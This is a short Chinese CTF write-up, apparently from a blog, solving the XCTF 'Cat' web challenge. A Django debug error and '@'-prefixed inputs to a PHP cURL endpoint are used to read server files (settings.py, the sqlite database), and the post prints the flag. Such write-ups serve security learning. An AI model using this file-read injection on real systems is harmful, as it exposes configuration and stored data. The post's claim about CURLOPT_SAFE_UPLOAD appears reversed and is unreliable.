攻防世界XCTF：Cat

原创

末 初 于 2020-03-06 21:51:30 发布 454 收藏

分类专栏： CTF_WEB_Writeup

本文链接：https://blog.csdn.net/mochu7777777/article/details/104684790

CTF_WEB_Writeup 专栏收录该内容

159 篇文章 31 订阅

订阅专栏

知识点：
php cURL CURLOPT_SAFE_UPLOAD
django DEBUG mode

Fuzz URL，得到如下结果：
1、正常 URL，返回 ping 结果
2、非法 URL（特殊符号），返回 Invalid URL
3、%80，返回 Django 报错

通过第三种情况，判断出后端架构，猜测 PHP 层的处理逻辑。
当 CURLOPT_SAFE_UPLOAD 为 true 时，PHP 可以通过在参数中注入 @ 来读取文件。当且仅当文件中存在中文字符的时候，Django 才会报错导致获取文件内容。
通过 Django 报错调用栈中的信息，请求

```
@/opt/api/api/settings.py
```


```
)ATABASES</td>
:lass="code"><pre>{&#39;default&#39;: {&#39;ATOMIC_REQUESTS&#39;: False
#39;AUTOCOMMIT&#39;: True,
#39;CONN_MAX_AGE&#39;: 0,
#39;ENGINE&#39;: &#39;django.db.backends.sqlite3&#39;,
#39;HOST&#39;: &#39;&#39;,
#39;NAME&#39;: &#39;/opt/api/database.sqlite3&#39;,
#39;OPTIONS&#39;: {},
#39;PASSWORD&#39;: u&#39;********** **********&#39;,
#39;PORT&#39;: &#39;&#39;,
#39;TEST&#39;: {&#39;CHARSET&#39;: None,
        &#39;COLLATION&#39;: None,
        &#39;MIRROR&#39;: None,
        &#39;NAME&#39;: None},
#39;TIME_ZONE&#39;: None,
#39;USER&#39;: &#39;&#39;}}</pre></td>
```


得到数据库名称，在通过

```
@/opt/api/database.sqlite3
```

得到数据库内容，其中包含 Flag，搜索关键字即可


```
\x00\x1c\x01\x02AWHCTF{yoooo_Such_A_GOOD_@}\n&#39;</pre>
```